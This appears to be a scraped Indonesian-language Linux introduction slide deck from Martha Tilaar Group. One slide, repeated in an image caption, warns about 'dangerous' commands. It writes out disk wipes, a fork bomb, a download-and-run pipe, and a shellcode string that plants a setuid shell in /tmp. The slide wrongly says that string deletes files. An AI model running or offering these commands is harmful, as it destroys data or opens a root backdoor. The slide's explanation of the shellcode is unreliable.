![Top 7 Most Dangerous Linux Command
1. char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ =
"xebx3ex5bx31xc0x50x54x5ax83xecx64x68”
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99”
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7”
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56”
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31”
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69” "x6ex2fx73x68x00x2dx63x00” "cp -p /bin/sh
/tmp/.beyond; chmod 4755 /tmp/.beyond;”;
– This is hexadesimal code. by using this command all file on storage devices mounted on your
computer will be deleted.
2. mkfs.ext3 /dev/sda
– By using This command line your /dev/sda device will be formated and all files stored in /dev/sda
will be deleted.
3. rm -rf /
– By using This command entire files on mounted devices will be deleted!
4. wget http://unknwon_Source -O- | sh
– By using this command will be download a shell script from untrusted source and run it when the
download finished.
5. ":(){:|:&};:" -> Run this command Without Quotation_mark ("”)
– By using this command will be run too many processes on your system and causes the computer
hang up!
6. mkfs.ext3 /dev/sda
– This command will format your /dev/sda device and of course will delete all files on it.
7. mv /home/username/* /dev/null
– By using this command will be move home directory to a place that actually doesn’t exist. In other](https://image.slidesharecdn.com/6d417c31-7df7-4bf2-8036-a4a3814966e8-150804025844-lva1-app6892/85/Linux-presentation-10-320.jpg)
Linux presentation
- 1. Arief Rama Syarif Infrastructure Solution Manager Martha Tilaar Group
- 2. Linux • Linux adalah clone dari Operating System UNIX yang awalnya digunakan untuk komputer desktop dan server dengan processor Intel x86. • Linux kernel awalnya dibuat oleh Linus Torvalds di Universitas Helsinki, Filandia pada tahun 1991. • Linux kernel dapat di distribusikan secara free dengan menggunakan GNU General Public License ( GPL ). • Perbedaan utama antara OS Linux dengan yang lain adalah Linux kernel itu sendiri dan adanya beberapa komponen di dalamnya adalah free dan open-source software.
- 3. GNU General Public License The GNU General Public License (GNU GPL or GPL) is the most widely user free software license, which guarantees end users (individuals, organizations, companies) the freedoms to use, study, share (copy), and modify the software. http://en.wikipedia.org/wiki/GNU_General_Public_License
- 4. Linux • Full multitasking • X-windows • Networking. • Virtual memory. • Shared libraries. • Programming language, Perl, Ruby, Python, PHP & Java
- 6. Struktur Linux 1. Kernel – Merupakan bagian utama (inti) dari OS Linux yang secara langsung menangani fungsi – fungsi hardware seperti tanggal, waktu, manajemen file, security, manajemen memory, input-output. 2. Shell – Merupakan penerjemah (interpreter) pada OS Linux yang menerjemahkan perintah (command) dari user ke kernel.
- 7. Struktur Linux 3. Utilitas – Adalah program yang disediakan oleh OS Linux untuk menangani tugas (task) tertentu. 4. Aplikasi – Adalah program yang dibuat oleh user untuk mendukung kebutuan tertentu.
- 10. Top 7 Most Dangerous Linux Command 1. char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "xebx3ex5bx31xc0x50x54x5ax83xecx64x68” "xffxffxffxffx68xdfxd0xdfxd9x68x8dx99” "xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7” "x56x04xf7x56x08xf7x56x0cx83xc4x74x56” "x8dx73x08x56x53x54x59xb0x0bxcdx80x31” "xc0x40xebxf9xe8xbdxffxffxffx2fx62x69” "x6ex2fx73x68x00x2dx63x00” "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”; – This is hexadesimal code. by using this command all file on storage devices mounted on your computer will be deleted. 2. mkfs.ext3 /dev/sda – By using This command line your /dev/sda device will be formated and all files stored in /dev/sda will be deleted. 3. rm -rf / – By using This command entire files on mounted devices will be deleted! 4. wget http://unknwon_Source -O- | sh – By using this command will be download a shell script from untrusted source and run it when the download finished. 5. ":(){:|:&};:" -> Run this command Without Quotation_mark ("”) – By using this command will be run too many processes on your system and causes the computer hang up! 6. mkfs.ext3 /dev/sda – This command will format your /dev/sda device and of course will delete all files on it. 7. mv /home/username/* /dev/null – By using this command will be move home directory to a place that actually doesn’t exist. In other
- 11. Linux File & Folder Permission
- 12. Linux File & Folder Permission
- 13. 2006 2015 Distribusi Linux yang digunakan saat ini, • OpensSUSE, digunakan untuk komputer desktop & notebook user – user. • Red Hat Enterprise Linux (RHEL), digunakan untuk server.
- 14. Kunci sukses implementasi Linux di Marta Tilaa Group (MTG) 1. Kebijakan dari management MTG dalam penerapan OS Linux di seluruh unit usaha dan cabang. 2. Penggunaan aplikasi yang dapat berjalan di OS Linux dengan menggunakan bahasa pemrograman php dan JAVA. 3. Dukungan dari team IT seluruh unit usaha dan cabang MTG dalam penerapan OS Linux di komputer desktop user – user.
- 15. Tantangan implementasi Linux di Martha Tilaar Group (MTG) 1. Adaptasi user pengguna komputer desktop dari OS Windows ke OS Linux. 2. Compatibility hardware. 3. Compatibility printer. 4. Compatibility format office document.
- 16. Terima Kasih